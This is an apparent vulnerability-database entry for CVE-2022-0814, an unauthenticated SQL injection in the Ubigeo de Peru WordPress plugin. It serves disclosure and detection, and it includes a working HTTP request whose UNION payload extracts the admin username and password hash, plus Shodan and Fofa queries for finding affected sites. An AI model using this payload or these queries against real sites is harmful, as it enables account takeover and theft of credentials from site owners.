| Title | Ubigeo de Peru < 3.6.4 - SQL Injection |
|---|---|
| Author | r3Y3r53 |
| Severity | Critical |
| Impact | Unauthenticated attackers can exploit SQL injection via AJAX actions to extract usernames and password hashes from the WordPress database. |
| Remediation | Fixed in version 3.6.4 |
| CVSS Score | 9.8 |
| EPSS Score | 0.58129 |
| CVE ID | CVE-2022-0814 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:/wp-content/plugins/ubigeo-peru/ |
| Fofa Query | body=/wp-content/plugins/ubigeo-peru/ |
| Tags | cve cve2022 wordpress wpscan wp-plugin sqli ubigeo-peru unauth ubigeo_de_peru_para_woocommerce_project vuln |
The plugin does not properly sanitise and escape some parameters before using them in SQL statements via various AJAX actions, some of which are available to unauthenticated users, leading to SQL Injections.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Content-Length: 209
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=rt_ubigeo_load_distritos_address&idProv=1%20UNION%20SELECT%201,(SELECT%20user_login%20FROM%20wp_users%20WHERE%20ID%20=%201),(SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%20=%201)%20from%20wp_users#
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0814.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0814.pcap
N/AN/A